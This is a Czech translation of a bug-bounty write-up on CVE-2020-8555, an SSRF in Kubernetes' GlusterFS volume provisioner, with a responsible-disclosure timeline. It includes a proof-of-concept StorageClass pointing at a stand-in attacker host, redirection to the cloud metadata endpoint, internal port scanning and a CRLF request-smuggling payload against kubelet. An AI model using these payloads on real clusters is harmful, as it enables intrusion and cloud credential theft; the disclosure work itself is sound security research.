Když to není jen o zranitelnostech Kubernetes...

Poznámka. přel.: autoři tohoto článku podrobně hovoří o tom, jak se jim podařilo zranitelnost objevit CVE-2020–8555 v Kubernetes. Přestože se zpočátku nezdál příliš nebezpečný, v kombinaci s dalšími faktory se jeho kritičnost ukázala pro některé cloudové poskytovatele maximální. Několik organizací odborníky za jejich práci štědře odměňovalo.

Když to není jen o zranitelnostech Kubernetes...

Kdo jsme

Jsme dva francouzští bezpečnostní výzkumníci, kteří společně objevili zranitelnost v Kubernetes. Jmenujeme se Brice Augras a Christophe Hauquiert, ale na mnoha platformách Bug Bounty jsme známí jako Reeverzax a Hach:

Co se stalo?

Tento článek je naším způsobem, jak se podělit o to, jak se obyčejný výzkumný projekt nečekaně proměnil v nejnapínavější dobrodružství v životě lovců brouků (alespoň prozatím).

Jak pravděpodobně víte, lovci chyb mají několik pozoruhodných funkcí:

  • žijí na pizze a pivu;
  • pracují, když všichni ostatní spí.

Nejsme výjimkou z těchto pravidel: obvykle se scházíme o víkendech a trávíme bezesné noci hackováním. Ale jedna z těchto nocí skončila velmi neobvyklým způsobem.

Původně jsme se chtěli sejít, abychom probrali účast CTF další den. Během rozhovoru o zabezpečení Kubernetes v prostředí spravovaných služeb jsme si vzpomněli na starou myšlenku SSRF (Padělání požadavku na straně serveru) a rozhodl se jej zkusit použít jako útočný skript.

Ve 11 hodin jsme si sedli k výzkumu a šli brzy ráno spát, velmi spokojeni s výsledky. Právě kvůli tomuto výzkumu jsme narazili na program MSRC Bug Bounty a přišli s využitím eskalace privilegií.

Uplynulo několik týdnů/měsíců a náš nečekaný výsledek vyústil v jednu z nejvyšších odměn v historii Azure Cloud Bug Bounty – navíc k té, kterou jsme dostali od Kubernetes!

Na základě našeho výzkumného projektu zveřejnila komise Kubernetes Product Security Committee CVE-2020–8555.

Nyní bych rád šířil informace o nalezené zranitelnosti co nejvíce. Doufáme, že oceníte nález a podělíte se o technické podrobnosti s ostatními členy komunity infosec!

Tak tady je náš příběh...

Kontext

Abychom dali co největší smysl tomu, co se stalo, podívejme se nejprve na to, jak Kubernetes funguje v prostředí spravovaném cloudem.

Když v takovém prostředí vytvoříte instanci clusteru Kubernetes, za vrstvu správy obvykle odpovídá poskytovatel cloudu:

Když to není jen o zranitelnostech Kubernetes...
Řídicí vrstva je umístěna na perimetru poskytovatele cloudu, zatímco uzly Kubernetes jsou umístěny na perimetru zákazníka.

K dynamickému přidělování svazků se používá mechanismus, který je dynamicky poskytuje z externího úložiště a porovnává je s PVC (trvalý nárok na svazek, tj. požadavek na svazek).

Po vytvoření a navázání PVC na StorageClass v clusteru K8s tedy další akce k poskytnutí svazku převezme správce řadiče kube/cloud (jeho přesný název závisí na verzi). (Poznámka. přel.: O CCM jsme již psali více na příkladu jeho implementace pro jednoho z cloudových poskytovatelů zde.)

Kubernetes podporuje několik typů provizorů: většina z nich je součástí jádro orchestrátoru, zatímco ostatní jsou spravovány dalšími poskytovateli, kteří jsou umístěni v podech v clusteru.

V našem výzkumu jsme se zaměřili na mechanismus interního poskytování objemu, který je znázorněn níže:

Když to není jen o zranitelnostech Kubernetes...
Dynamické zřizování svazků pomocí vestavěného zřizování Kubernetes

Stručně řečeno, když je Kubernetes nasazen ve spravovaném prostředí, je správce řadiče v odpovědnosti poskytovatele cloudu, ale požadavek na vytvoření svazku (číslo 3 v diagramu výše) opustí interní síť poskytovatele cloudu. A tady to začíná být opravdu zajímavé!

Scénář hackování

V této části vysvětlíme, jak jsme využili výše zmíněný pracovní postup a získali přístup k interním zdrojům poskytovatele cloudových služeb. Také vám ukáže, jak můžete provádět určité akce, jako je získání interních přihlašovacích údajů nebo eskalace oprávnění.

Jedna jednoduchá manipulace (v tomto případě Service Side Request Forgery) pomohla překročit klientské prostředí do shluků různých poskytovatelů služeb pod spravovanými K8.

V našem výzkumu jsme se zaměřili na poskytovatele GlusterFS. Navzdory skutečnosti, že další sled akcí je popsán v této souvislosti, Quobyte, StorageOS a ScaleIO jsou náchylné ke stejné zranitelnosti.

Když to není jen o zranitelnostech Kubernetes...
Zneužití mechanismu poskytování dynamických svazků

Během analýzy třídy úložiště GlusterFS ve zdrojovém kódu klienta Golang my všimlže při prvním požadavku HTTP (3) odeslaném během vytváření svazku na konec vlastní adresy URL v parametru resturl přidal /volumes.

Rozhodli jsme se této další cesty zbavit přidáním # v parametru resturl. Zde je první konfigurace YAML, kterou jsme použili k testování poloslepé zranitelnosti SSRF (více o poloslepém nebo poloslepém SSRF si můžete přečíst např. zde - Cca. překlad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Poté jsme použili binární soubor ke vzdálené správě clusteru Kubernetes kubectl. Poskytovatelé cloudu (Azure, Google, AWS atd.) vám obvykle umožňují získat přihlašovací údaje pro použití v tomto nástroji.

Díky tomu jsem mohl používat svůj „speciální“ soubor. Kube-controller-manager provedl výsledný požadavek HTTP:

kubectl create -f sc-poc.yaml

Když to není jen o zranitelnostech Kubernetes...
Odpověď z pohledu útočníka

Krátce poté jsme byli také schopni obdržet HTTP odpověď z cílového serveru - prostřednictvím příkazů describe pvc nebo get events v kubectl. A skutečně: tento výchozí ovladač Kubernetes je ve svých varováních/chybových zprávách příliš podrobný...

Zde je příklad s odkazem na https://www.google.frnastavit jako parametr resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Když to není jen o zranitelnostech Kubernetes...

V tomto přístupu jsme se omezili na dotazy jako HTTP POST a nemohl získat obsah těla odpovědi, pokud byl návratový kód 201. Proto jsme se rozhodli provést další výzkum a rozšířit tento scénář hackování o nové přístupy.

Vývoj našeho výzkumu

  • Pokročilý scénář č. 1: Použití přesměrování 302 z externího serveru ke změně metody HTTP tak, aby poskytoval flexibilnější způsob shromažďování interních dat.
  • Pokročilý scénář č. 2: Automatizujte skenování LAN a zjišťování interních zdrojů.
  • Pokročilý scénář č. 3: použití HTTP CRLF + pašování („pašování požadavků“) k vytvoření přizpůsobených požadavků HTTP a načtení dat extrahovaných z protokolů kube-controller.

Technické specifikace

  • Výzkum používal Azure Kubernetes Service (AKS) s Kubernetes verze 1.12 v regionu severní Evropy.
  • Výše popsané scénáře byly provedeny na nejnovějších verzích Kubernetes, s výjimkou třetího scénáře, protože potřeboval Kubernetes postavený s Golang verzí ≤ 1.12.
  • Externí server útočníka - https://attacker.com.

Pokročilý scénář č. 1: Přesměrování požadavku HTTP POST na GET a příjem citlivých dat

Původní metoda byla vylepšena konfigurací serveru útočníka pro návrat 302 HTTP Retcodepřevést požadavek POST na požadavek GET (krok 4 v diagramu):

Když to není jen o zranitelnostech Kubernetes...

První požadavek (3) přichází od klienta GlusterFS (Controller Manager), má typ POST. Následováním těchto kroků jsme jej dokázali proměnit v GET:

  • Jako parametr resturl v StorageClass je to uvedeno http://attacker.com/redirect.php.
  • Konečný bod https://attacker.com/redirect.php odpoví stavovým kódem HTTP 302 s následujícím záhlavím umístění: http://169.254.169.254. Může to být jakýkoli jiný interní zdroj – v tomto případě je odkaz přesměrování použit pouze jako příklad.
  • Ve výchozím nastavení net/http knihovna Golang přesměruje požadavek a převede POST na GET se stavovým kódem 302, což vede k požadavku HTTP GET na cílový zdroj.

Chcete-li přečíst tělo odpovědi HTTP, musíte to udělat describe Předmět z PVC:

kubectl describe pvc xxx

Zde je příklad odpovědi HTTP ve formátu JSON, kterou jsme byli schopni přijmout:

Když to není jen o zranitelnostech Kubernetes...

Možnosti nalezené zranitelnosti v té době byly omezené kvůli následujícím bodům:

  • Neschopnost vložit HTTP hlavičky do odchozího požadavku.
  • Nemožnost provést požadavek POST s parametry v těle (toto je vhodné vyžádat si hodnotu klíče z instance etcd běžící na 2379 port, pokud je použit nešifrovaný HTTP).
  • Nemožnost načíst obsah těla odpovědi, když byl stavový kód 200 a odpověď neměla JSON Content-Type.

Pokročilý scénář č. 2: Prohledávání místní sítě

Tato poloslepá metoda SSRF byla poté použita ke skenování vnitřní sítě poskytovatele cloudu a dotazování různých naslouchacích služeb (instance metadat, Kubelet atd.) na základě odpovědí ovladač kube.

Když to není jen o zranitelnostech Kubernetes...

Nejprve byly určeny standardní naslouchací porty komponent Kubernetes (8443, 10250, 10251 atd.) a poté jsme museli zautomatizovat proces skenování.

Vzhledem k tomu, že tento způsob skenování zdrojů je velmi specifický a není kompatibilní s klasickými skenery a nástroji SSRF, rozhodli jsme se vytvořit vlastní workery v bash skriptu, který celý proces automatizuje.

Například pro rychlé skenování rozsahu 172.16.0.0/12 vnitřní sítě bylo paralelně spuštěno 15 pracovníků. Výše uvedený rozsah IP byl vybrán pouze jako příklad a může se změnit podle rozsahu IP vašeho konkrétního poskytovatele služeb.

Chcete-li skenovat jednu IP adresu a jeden port, musíte provést následující:

  • odstranit poslední zaškrtnutou StorageClass;
  • odstranit předchozí ověřenou deklaraci trvalého objemu;
  • změnit hodnoty IP a portu sc.yaml;
  • vytvořit StorageClass s novou IP a portem;
  • vytvořit nové PVC;
  • extrahujte výsledky skenování pomocí popisu pro PVC.

Pokročilý scénář č. 3: Injekce CRLF + pašování HTTP ve „starých“ verzích clusteru Kubernetes

Pokud by navíc poskytovatel nabídl klientům staré verze clusteru K8s и jim poskytl přístup k protokolům kube-controller-manager, účinek se stal ještě významnějším.

Pro útočníka je skutečně mnohem pohodlnější změnit požadavky HTTP navržené tak, aby získal úplnou odpověď HTTP podle svého uvážení.

Když to není jen o zranitelnostech Kubernetes...

Pro implementaci posledního scénáře musely být splněny následující podmínky:

  • Uživatel musí mít přístup k protokolům kube-controller-manager (jako například v Azure LogInsights).
  • Cluster Kubernetes musí používat verzi Golang nižší než 1.12.

Nasadili jsme lokální prostředí, které simulovalo komunikaci mezi klientem GlusterFS Go a falešným cílovým serverem (prozatím se zdržíme zveřejnění PoC).

Bylo zjištěno zranitelnost, který ovlivňuje verze Golang nižší než 1.12 a umožňuje hackerům provádět útoky na pašování HTTP/CRLF.

Kombinací výše popsaného poloslepého SSRF společně díky tomu jsme mohli posílat požadavky podle našich představ, včetně nahrazení hlaviček, HTTP metody, parametrů a dat, které pak kube-controller-manager zpracoval.

Zde je příklad fungující „návnady“ v parametru resturl StorageClass, který implementuje podobný scénář útoku:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Výsledkem je chyba nevyžádaná odpověď, zpráva o tom je zaznamenána v protokolech regulátoru. Díky ve výchozím nastavení povolené upovídanosti se tam ukládá i obsah zprávy HTTP odpovědi.

Když to není jen o zranitelnostech Kubernetes...

To byla naše nejúčinnější „návnada“ v rámci proof of concept.

Pomocí tohoto přístupu jsme byli schopni provést některé z následujících útoků na clustery různých spravovaných poskytovatelů k8s: eskalace oprávnění s přihlašovacími údaji na instance metadat, Master DoS prostřednictvím (nešifrovaných) HTTP požadavků na master instance etcd atd.

Následky

V oficiálním prohlášení Kubernetes ohledně zranitelnosti SSRF, kterou jsme objevili, byla hodnocena CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Pokud vezmeme v úvahu pouze zranitelnost spojenou s perimetrem Kubernetes, vektor integrity (vektor integrity) kvalifikuje se jako Nevyplněno.

Posouzení možných důsledků v kontextu prostředí spravovaných služeb (a to byla nejzajímavější část našeho výzkumu!) nás však přimělo překlasifikovat zranitelnost na hodnocení Kritické CVSS10/10 pro mnoho distributorů.

Níže jsou uvedeny další informace, které vám pomohou porozumět našim úvahám při posuzování potenciálních dopadů v cloudových prostředích:

Integrita

  • Spouštějte příkazy vzdáleně pomocí získaných interních přihlašovacích údajů.
  • Reprodukce výše uvedeného scénáře pomocí metody IDOR (Insecure Direct Object Reference) s dalšími prostředky nalezenými v místní síti.

Soukromí

  • Typ útoku Boční pohyb díky krádeži cloudových přihlašovacích údajů (například metadatové API).
  • Sběr informací skenováním lokální sítě (zjištění verze SSH, verze HTTP serveru, ...).
  • Shromažďujte informace o instancích a infrastruktuře dotazováním interních rozhraní API, jako je rozhraní API pro metadata (http://169.254.169.254, ...).
  • Krádež dat zákazníků pomocí cloudových přihlašovacích údajů.

Dostupnost

Všechny scénáře zneužití související s vektory útoku na integrita, lze použít pro destruktivní akce a vést k nedostupnosti hlavních instancí z klientského perimetru (nebo jakéhokoli jiného).

Vzhledem k tomu, že jsme byli ve spravovaném prostředí K8s a posuzovali dopad na integritu, dokážeme si představit mnoho scénářů, které by mohly ovlivnit dostupnost. Mezi další příklady patří poškození databáze etcd nebo kritické volání rozhraní Kubernetes API.

Časová osa

  • 6. prosince 2019: Chyba zabezpečení byla oznámena MSRC Bug Bounty.
  • 3. ledna 2020: Třetí strana informovala vývojáře Kubernetes, že pracujeme na bezpečnostním problému. A požádal je, aby považovali SSRF za vnitřní (in-core) zranitelnost. Poté jsme poskytli obecnou zprávu s technickými podrobnostmi o zdroji problému.
  • 15. ledna 2020: Poskytli jsme technické a obecné zprávy vývojářům Kubernetes na jejich žádost (prostřednictvím platformy HackerOne).
  • 15. ledna 2020: Vývojáři Kubernetes nás upozornili, že poloslepá injekce SSRF + CRLF pro minulá vydání je považována za základní chybu zabezpečení. Okamžitě jsme přestali analyzovat perimetry ostatních poskytovatelů služeb: tým K8s se nyní zabýval hlavní příčinou.
  • 15. ledna 2020: Odměna MSRC obdržena prostřednictvím HackerOne.
  • 16. ledna 2020: Kubernetes PSC (Výbor pro bezpečnost produktů) tuto zranitelnost rozpoznal a požádal, aby byla do poloviny března utajena kvůli velkému počtu potenciálních obětí.
  • 11. února 2020: Obdržena odměna Google VRP.
  • 4. března 2020: Odměna Kubernetes přijatá prostřednictvím HackerOne.
  • 15. března 2020: Původně plánované zveřejnění bylo odloženo kvůli situaci COVID-19.
  • 1. června 2020: Společné prohlášení Kubernetes + Microsoft o zranitelnosti.

TL, DR

  • Pijeme pivo a jíme pizzu :)
  • Objevili jsme vnitřní zranitelnost v Kubernetes, i když jsme to neměli v úmyslu.
  • Provedli jsme další analýzu shluků různých poskytovatelů cloudu a dokázali jsme zvýšit škody způsobené zranitelností a získat další úžasné bonusy.
  • V tomto článku najdete spoustu technických detailů. Rádi je s vámi probereme (Twitter: @ReeverZax & @__hach_).
  • Ukázalo se, že nejrůznější formality a hlášení trvaly mnohem déle, než se čekalo.

reference

PS od překladatele

Přečtěte si také na našem blogu:

Zdroj: www.habr.com

Přidat komentář